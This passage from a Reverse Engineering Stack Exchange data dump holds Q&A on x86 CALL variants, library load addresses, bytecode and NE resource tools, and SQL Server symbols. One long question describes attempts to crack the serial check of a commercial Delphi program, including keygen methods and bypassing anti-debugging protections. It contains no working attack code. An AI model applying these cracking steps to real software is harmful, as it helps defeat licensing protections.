  <row Id="1995" PostTypeId="1" CreationDate="2013-05-03T15:50:35.077" Score="13" ViewCount="13963" Body="&lt;p&gt;Hoping to get a better explanation of x86 &lt;code&gt;call&lt;/code&gt; instruction. I sort of understand the call near and call far. But I don't fully understand the segment part. A little insight into my main problem,  I am looking at a binary in IDA and its start code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0xdeadbeef&#xA;call near 0xdeadbeef&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="107" LastEditDate="2013-05-03T20:20:00.073" LastActivityDate="2013-05-05T03:10:44.247" Title="Better explanation of different x86 CALL variations" Tags="|x86|assembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1996" PostTypeId="2" ParentId="1995" CreationDate="2013-05-03T16:12:16.407" Score="13" Body="&lt;p&gt;99% of the calls you'll encounter in modern binaries are &lt;code&gt;near&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;call &lt;code&gt;near&lt;/code&gt; (with opcode &lt;code&gt;E8&lt;/code&gt;) is a call relative to the current address, and only affects &lt;code&gt;?IP&lt;/code&gt;. Thus it will add the operand (word or double word) to the next instruction pointer. it's &lt;em&gt;adding&lt;/em&gt; the operand to &lt;code&gt;?IP&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;call &lt;code&gt;far&lt;/code&gt; (with opcode &lt;code&gt;9A&lt;/code&gt;) jumps to an &lt;a href=&quot;http://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm#1792&quot;&gt;absolute segment and offset&lt;/a&gt;. ie, it's like &lt;em&gt;setting&lt;/em&gt; &lt;code&gt;CS&lt;/code&gt; and &lt;code&gt;?IP&lt;/code&gt; at once.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The memory is actually organized in segments. In modern OSes, you usually don't mess with segments (&lt;code&gt;CS&lt;/code&gt; has a fixed value in User mode and Kernel mode), so you don't change them for any reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rare cases of actual segment changes are as &lt;a href=&quot;http://code.google.com/p/corkami/source/browse/trunk/wip/MakePE/examples/asm/jumps.asm#173&quot;&gt;anti-debugs&lt;/a&gt; or &lt;a href=&quot;http://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm#2242&quot;&gt;messing&lt;/a&gt; &lt;a href=&quot;http://blog.rewolf.pl/blog/?p=443&quot;&gt;with&lt;/a&gt; 32/64b modes &lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-05-03T16:18:59.710" LastActivityDate="2013-05-03T16:18:59.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1997" PostTypeId="2" ParentId="1994" CreationDate="2013-05-03T16:28:24.670" Score="10" Body="&lt;p&gt;In fact, &lt;code&gt;ldd&lt;/code&gt; is loading the libraries on-the-fly to list what libraries are needed. So, on this run, you can say that &lt;code&gt;libc.so.6&lt;/code&gt; has been loaded at &lt;code&gt;0xb7e5c000&lt;/code&gt;, but you have no warranty that it will always be the case. Even with no ASLR, it is mainly depending on the loading order of the libraries that might vary from one run to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, assuming you have no ASLR, and speaking about the &lt;code&gt;libc&lt;/code&gt;, which will be very likely to be the first loaded library anyway, you can safely assume that it will loaded at this address most of the time.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-05-03T21:20:57.540" LastActivityDate="2013-05-03T21:20:57.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1998" PostTypeId="2" ParentId="1994" CreationDate="2013-05-03T16:28:26.797" Score="6" Body="&lt;p&gt;Yes, the base address of &lt;code&gt;libc.so.6&lt;/code&gt; should be &lt;code&gt;0xb7e5c000&lt;/code&gt; for that binary. You can verify this by catting &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; while your application is running.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-05-03T16:28:26.797" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1999" PostTypeId="1" AcceptedAnswerId="2960" CreationDate="2013-05-03T17:06:20.423" Score="24" ViewCount="12225" Body="&lt;p&gt;Recently on &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering&quot; rel=&quot;noreferrer&quot;&gt;Reddit ReverseEngineering&lt;/a&gt; I stumbled on a &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/1da222/selfmodifying_python_bytecode/&quot; rel=&quot;noreferrer&quot;&gt;self-modifying code in Python&lt;/a&gt;. Looking at the &lt;a href=&quot;https://github.com/0vercl0k/stuffz/tree/master/Python%27s%20internals&quot; rel=&quot;noreferrer&quot;&gt;Github&lt;/a&gt; repository was quite instructive and I found picture of the Python bytecode program exposed in CFG form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TKeQM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there are tools to perform static analysis on Python bytecode program with some nice features (such as generating the CFG or allowing to manipulate the code, ...) ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-07T12:48:43.357" LastActivityDate="2018-11-12T14:37:14.480" Title="What are the tools to analyze Python (obfuscated) bytecode?" Tags="|tools|python|" AnswerCount="5" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2000" PostTypeId="1" AcceptedAnswerId="2001" CreationDate="2013-05-03T20:49:37.897" Score="9" ViewCount="1668" Body="&lt;p&gt;I'm trying to extract menus and other stuff from a &lt;a href=&quot;https://en.wikipedia.org/wiki/New_Executable&quot; rel=&quot;noreferrer&quot;&gt;New Executable (NE)&lt;/a&gt;, i.e. the ones from Windows' 16-bit times. The tools I find (e. g. ResourceTuner) work for &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;noreferrer&quot;&gt;PEs&lt;/a&gt; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea for tools to facilitate the resource extraction? Could be several steps too, e.g.  one program extracting the raw resources, one displaying them in a proper form.&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="189" LastEditDate="2013-05-04T01:33:23.447" LastActivityDate="2013-05-04T01:33:23.447" Title="How can one extract resources from a New Executable?" Tags="|tools|ne|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2001" PostTypeId="2" ParentId="2000" CreationDate="2013-05-03T20:59:34.113" Score="9" Body="&lt;p&gt;You should try &lt;a href=&quot;http://www.openwatcom.org/index.php/Main_Page&quot;&gt;OpenWatcom&lt;/a&gt;'s &lt;code&gt;Resource Editor&lt;/code&gt;, and also &lt;a href=&quot;http://hiew.ru&quot;&gt;Hiew&lt;/a&gt; and &lt;a href=&quot;http://hte.sourceforge.net/&quot;&gt;HT Editor&lt;/a&gt; albeit these 2 won't likely display them in proper form, as they are just NE-supporting hex editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenWatcom includes a full toolchain for Win-16 and dos development.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="1908" LastEditDate="2013-05-04T01:30:40.810" LastActivityDate="2013-05-04T01:30:40.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2002" PostTypeId="2" ParentId="2000" CreationDate="2013-05-03T21:50:28.813" Score="6" Body="&lt;p&gt;A great resource for old tools is the &lt;a href=&quot;http://www.sac.sk/&quot; rel=&quot;noreferrer&quot;&gt;SAC server&lt;/a&gt;. From a quick search &lt;a href=&quot;ftp://ftp.sac.sk/pub/sac/utilprog/resgrabr.exe&quot; rel=&quot;noreferrer&quot;&gt;Resource Grabber&lt;/a&gt; seems to support NE resources, though the UI is annoying to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another options is &lt;a href=&quot;http://hp.vector.co.jp/authors/VA003525/emysoft.htm#6&quot; rel=&quot;noreferrer&quot;&gt;eXeScope&lt;/a&gt; (shareware).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, long time ago I found somewhere a tool with the name &lt;code&gt;dresplay.exe&lt;/code&gt;. I don't have it at hand right now and Google doesn't seem to know about it...&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-03T21:50:28.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2003" PostTypeId="1" CreationDate="2013-05-03T22:08:57.673" Score="5" ViewCount="824" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Clarified, I meant the extended exent ringbugger stacktraces described by &lt;a href=&quot;http://www.sqlskills.com/blogs/jonathan/an-xevent-a-day-24-of-31-what-is-the-callstack/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jonathan Kehayias&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently discovered it was possible to &lt;a href=&quot;https://stackoverflow.com/questions/16320480/getting-link-exe-lib-exe-editbin-exe-and-dumpbin-exe-to-use-the-symbol-server&quot;&gt;get link.exe, dumpbin.exe, etc to download symbols from a symbol server&lt;/a&gt;. SQL Server has the ability to capture its own call traces through extended events. &lt;a href=&quot;http://www.sqlskills.com/blogs/jonathan/an-xevent-a-day-24-of-31-what-is-the-callstack/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Traceflag 3656 lets you decode these stack traces with symbol files.&lt;/a&gt;  As per &lt;a href=&quot;http://www.sqlskills.com/blogs/paul/how-to-download-a-sqlservr-pdb-symbol-file/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Paul Randal's blog&lt;/a&gt;, you need to actually put the symbol files in the sql server binn folder, and it wouldn't use the symbol server. I decided to investigate to see how true this is. Using &lt;a href=&quot;http://www.rohitab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RohitABs API Monitor&lt;/a&gt;, I was able to see the following calls being made to DbgHelp.dll:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ImagehlpApiVersion (  )&#xA;SymSetOptions ( SYMOPT_DEFERRED_LOADS | SYMOPT_LOAD_LINES | SYMOPT_UNDNAME )&#xA;SymInitialize ( GetCurrentProcess(), &quot;C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER2012\MSSQL\Binn\;C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER2012\MSSQL\BINN;symsrv*symsrv.dll*c:\symbols*http://msdl.microsoft.com/download/symbols;C:\Windows;C:\Windows\system32&quot;, TRUE )&#xA;SymRegisterCallback64 ( GetCurrentProcess(), 0x000007fec5a77810, 0 )&#xA;    /* The following SymGetSymFromAddr() calls happen because fInvadeProcess  was set to true  */&#xA;SymGetSymFromAddr ( GetCurrentProcess(), 3313710117, 0x000000001b06c060, 0x000000001b06b348 )&#xA;SymGetSymFromAddr ( GetCurrentProcess(), 3313710116, 0x000000001b06c060, 0x000000001b06b348 )&#xA;    . . . &#xA;    . . . &#xA;    . . . &#xA;SymCleanup ( GetCurrentProcess() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like my &lt;code&gt;_NT_SYMBOL_PATH&lt;/code&gt;, with the symbol server is being added to the search path of &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms681351(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;SymInitialize()&lt;/a&gt;. If that is the case, why aren't symbols being downloaded from the symbol server?&lt;/p&gt;&#xA;" OwnerUserId="1908" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-05-05T14:38:03.700" Title="SQL Server not downloading symbols from the symbol server, even though SymInitialize has the symserver in its path" Tags="|mssql|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2004" PostTypeId="2" ParentId="1971" CreationDate="2013-05-04T02:05:31.547" Score="7" Body="&lt;p&gt;Here's an explanation for what I think the individual symbols mean. I'm basing this around the presumption that a little selector is going through the cells, one by one.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;\xFF&lt;/code&gt; = Null cell&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x05&lt;/code&gt; = A string is following, with &lt;code&gt;\xNumber&lt;/code&gt; coming after the string to define how far to displace the string from the selector's current position, if at all. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\xNumber string&lt;/code&gt; = A string of length number&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x2A&lt;/code&gt; = Could be a byte that says not to displace the current string, and also to assume that the next piece of data is defining a string to be placed in the next cell. Questionable meaning.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x04 \xNumber&lt;/code&gt; = Move selector ahead &lt;code&gt;\xNumber&lt;/code&gt; cells and place previous string into there.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0 \x00 \x0Number&lt;/code&gt; = New column, move selector into row &lt;code&gt;\xNumber&lt;/code&gt;, and place previous string into there.&#xA;&lt;code&gt;@&lt;/code&gt; = Place previously used string in the cell following the current one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So here's my interpretation of the data you're giving us:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;\xFF\xFF&lt;/code&gt; = two null cells&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x05&lt;/code&gt; = A cell, singular, with a string, placed following the null cells, because of the &lt;code&gt;\x2A&lt;/code&gt; following the string &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x04 test&lt;/code&gt; = The string.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x2A \x05 test1&lt;/code&gt; = Another string placed into the cell following. No number needed, since \x2A implies that it's being placed right after &quot;test&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@&lt;/code&gt; = Place &quot;test1&quot; into the cell after the &quot;test1&quot; string was first placed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x04 \x03&lt;/code&gt; = Move selector ahead three cells and place test1 where it lands.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@@&lt;/code&gt; = Place into the two cells following also.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x04 \x05 @&lt;/code&gt; = Skip four cells, place into two cells.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0&lt;/code&gt; = New column.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x00 \x00 @&lt;/code&gt; = Using string last defined (test1), place into first two cells of the column. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x05 \x05 test2 \x03&lt;/code&gt; = Place a cell three cells afterwords.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x05\x05test1\x06&lt;/code&gt; = Place test1 into a cell 6 after test2&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@&lt;/code&gt; = Place test1 again, too.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0&lt;/code&gt; = move to next column&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x00\x01&lt;/code&gt; = Place previous string at location 01 &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@&lt;/code&gt; = And also at location 02&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;\x00&lt;/code&gt; = Done&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Explanation: My method was to look for a pattern, check if the pattern withstood further scrutiny - the first pattern I checked seemed to - and clear up any minor issues I had with it. Seems to have worked.&lt;/p&gt;&#xA;" OwnerUserId="157" LastEditorUserId="245" LastEditDate="2013-05-04T02:34:29.777" LastActivityDate="2013-05-04T02:34:29.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2005" PostTypeId="1" CreationDate="2013-05-04T04:03:31.700" Score="10" ViewCount="3559" Body="&lt;p&gt;I like security as a hobby and I not so often I read and play with a few simple KeyGen games and I enjoy it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reversing and KeyGen is very interesting but I'm a beginner and my questions are probably very dumb but I will be very thankful if you could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until the moment I have reversed simple keygen applications using techniques such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Look for string text reference to find the interesting code area.&lt;/li&gt;&#xA;&lt;li&gt;Keygen fishing.&lt;/li&gt;&#xA;&lt;li&gt;And bypass &lt;code&gt;IsDebuggerPresent&lt;/code&gt; check.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Yeah, I know, really basic stuff. Here is a video similar to what I do in general:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=tJY_Tv7o5bE&quot; rel=&quot;noreferrer&quot;&gt;http://www.youtube.com/watch?v=tJY_Tv7o5bE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just for learning sometimes I try to reverse a few small and medium application that I buy for Windows and looks like simple products without many protections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a software that I acquired 2 months ago and the whole installation is around 50MB. One of the motivations to try apply my basic knowledge here is because I like to see if what I learned in keygens really work in real-life, my experience that medium softwares are much harder since keygens are very small and easy to find the routines that you want. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Just to make it very clear, I have a license for this program and my intention is only learn and increase my knowledge. Since I have no commercial intention in break it or create any damage I will not disclosure the application - I hope you understand. **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, let's go. The application consist of one main executable (~33MB), 6 DLLs (very small ones and some of them are &lt;code&gt;libeay32.dll&lt;/code&gt;, etc) and around 90 &lt;code&gt;.xsd&lt;/code&gt; files (XML format). My first step was try to identify the programming language used and if a packer was present, please, see screen shots below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uMFSE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m8vzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really appears to be developed in Delphi, with CFF I confirmed it. Also, there is no section that points for an packer looking at CFF information and EXE Information and RDG also say it's clean. However, RDG found &lt;code&gt;IsDebuggerPresent&lt;/code&gt; and pointed for an protection software as you may see. However, I'm not sure if it's a false-positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my application the serial is entered in a field like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lCY4C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And once I enter a wrong serial number (30 chars long) I get a message like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GzCPG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it's not a &lt;code&gt;MessageBox&lt;/code&gt;, or at least it's very custom one. For this kind of messages should I keep breakpoints at &lt;code&gt;MessageBoxA&lt;/code&gt;, etc? Or there is a different API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a screenshot once I attach to the application running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mZg4N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press &quot;run&quot; at OllyDbg it's what I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wRkdI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of SEH chain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FXsun.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the &quot;Windows&quot; available, including the one that I would like to disassemble, examine and put a breakpoint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYFSP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it fails to debug, see below, please:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SmDcm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it some kind of protection? How to disable this part of code, put breakpoints, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &quot;Text String References&quot; I'm able to see just partial messages and not the one displayed on my custom &quot;&lt;code&gt;MessageBox&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Zbyw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, There are many parts that looks like an message that will be completed on the fly, for example &quot;A chave informata esta&quot; which means &quot;They key entered is&quot; or &quot;Chave incorrecta n&quot; which means &quot;Wrong key at&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[img]&lt;a href=&quot;http://img5.imageshack.us/img5/3382/11ionlyseetextstringsre.png[/img]&quot; rel=&quot;noreferrer&quot;&gt;http://img5.imageshack.us/img5/3382/11ionlyseetextstringsre.png[/img]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I noted that are parts of the application when some texts are not stored as a &quot;TextString&quot;, instead I see &quot;char by char&quot; in sequence at OllyDbg creating a few strings (also not very useful to me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I define a breakpoint in any of these TextStrings it's what happen - an exception:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/38E8G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a protection? Any idea how to bypass it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here the only thing that I'm able to do it pass control to the application and all is over. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I refuse to pass control to the application and I continue with F7/F8 I get something like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzcnH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It ends with an instruction not recognized by OllyDbg. Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to set breakpoints in Names from &lt;code&gt;user32.dll&lt;/code&gt; such as &lt;code&gt;GetDlgItemTextA&lt;/code&gt; and &lt;code&gt;GetDlgItemTextW&lt;/code&gt; since I believe they are the APIs used to read my entered serial number. The strange thing is that they are exported and not imported as demonstrated below. Is it normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0OqQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I created the breakpoint and stated stepping into I got this exception again and I was forced to pass control to application and game over again. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ayOZj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking it could be some basic Anti-debugging protections, so I enabled &quot;aadp4olly&quot; and &quot;Olly Advanced&quot; with many options but it was unable to solve the issues, so, I'm not so sure anymore about what is issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help and answers are very appreciated, but please, keep in mind that I'm a beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** &lt;strong&gt;&lt;em&gt;UPDATED&lt;/em&gt;&lt;/strong&gt; **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi All,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answer, but it doesn't solve the whole issue. Please, see details below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I updated my PEid database from this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/reverse-engineering-scripts/downloads/detail?name=UserDB.TXT&quot; rel=&quot;noreferrer&quot;&gt;https://code.google.com/p/reverse-engineering-scripts/downloads/detail?name=UserDB.TXT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following screenshot demonstrates PE details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img444.imageshack.us/img444/8295/16pedetails.png&quot; rel=&quot;noreferrer&quot;&gt;http://img444.imageshack.us/img444/8295/16pedetails.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are details about PE sections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks a bit strange for a not packed binary, right? But I can't figure out the correct packer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img5.imageshack.us/img5/5764/17pesections.png&quot; rel=&quot;noreferrer&quot;&gt;http://img5.imageshack.us/img5/5764/17pesections.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entropy and and Fast Check say &quot;not packed&quot;, but EP check points as packed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img571.imageshack.us/img571/6251/18epappearstobepacked.png&quot; rel=&quot;noreferrer&quot;&gt;http://img571.imageshack.us/img571/6251/18epappearstobepacked.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original EP found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img12.imageshack.us/img12/990/19originalep.png&quot; rel=&quot;noreferrer&quot;&gt;http://img12.imageshack.us/img12/990/19originalep.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RDG Packer Detector pointed that Obsidium protection was present, however I guess it's a false positive. See the unpacker failing to recognize the format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unpacker is available here: &lt;a href=&quot;http://down.52pojie.cn/Tools/Unpackers/&quot; rel=&quot;noreferrer&quot;&gt;http://down.52pojie.cn/Tools/Unpackers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img29.imageshack.us/img29/7/20obsidiumunpackingfail.png&quot; rel=&quot;noreferrer&quot;&gt;http://img29.imageshack.us/img29/7/20obsidiumunpackingfail.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the great Ferrit Anti-Anti-Debuggin script for OllyDB was not enough to allow me to debug it. Please, see below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img836.imageshack.us/img836/4352/21ferritantiantidebugis.png&quot; rel=&quot;noreferrer&quot;&gt;http://img836.imageshack.us/img836/4352/21ferritantiantidebugis.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img42.imageshack.us/img42/8721/22ferritantiantidebugis.png&quot; rel=&quot;noreferrer&quot;&gt;http://img42.imageshack.us/img42/8721/22ferritantiantidebugis.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here I'm forced to pass control to application and I lost control of if as demonstrated on my first post. I tried to freeze all threads and just keep the main thread running but it continues to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resource Hacker is unable to read Delphi resources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img812.imageshack.us/img812/9861/23resourcehackerfailsto.png&quot; rel=&quot;noreferrer&quot;&gt;http://img812.imageshack.us/img812/9861/23resourcehackerfailsto.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Resource Hacker FX fails because it says a new version Delphi was used to compile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img560.imageshack.us/img560/7538/24resourcehackerfxfails.png&quot; rel=&quot;noreferrer&quot;&gt;http://img560.imageshack.us/img560/7538/24resourcehackerfxfails.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delphi Decompiler also failed. First I tried attach to my target:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img11.imageshack.us/img11/89/25dedeattachingtotarget.png&quot; rel=&quot;noreferrer&quot;&gt;http://img11.imageshack.us/img11/89/25dedeattachingtotarget.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the analysis finished it found the Classes Info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img600.imageshack.us/img600/5935/26dedeloadedtarget.png&quot; rel=&quot;noreferrer&quot;&gt;http://img600.imageshack.us/img600/5935/26dedeloadedtarget.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the important thing are the &quot;Forms&quot; and &quot;Procedures&quot; and nothing was 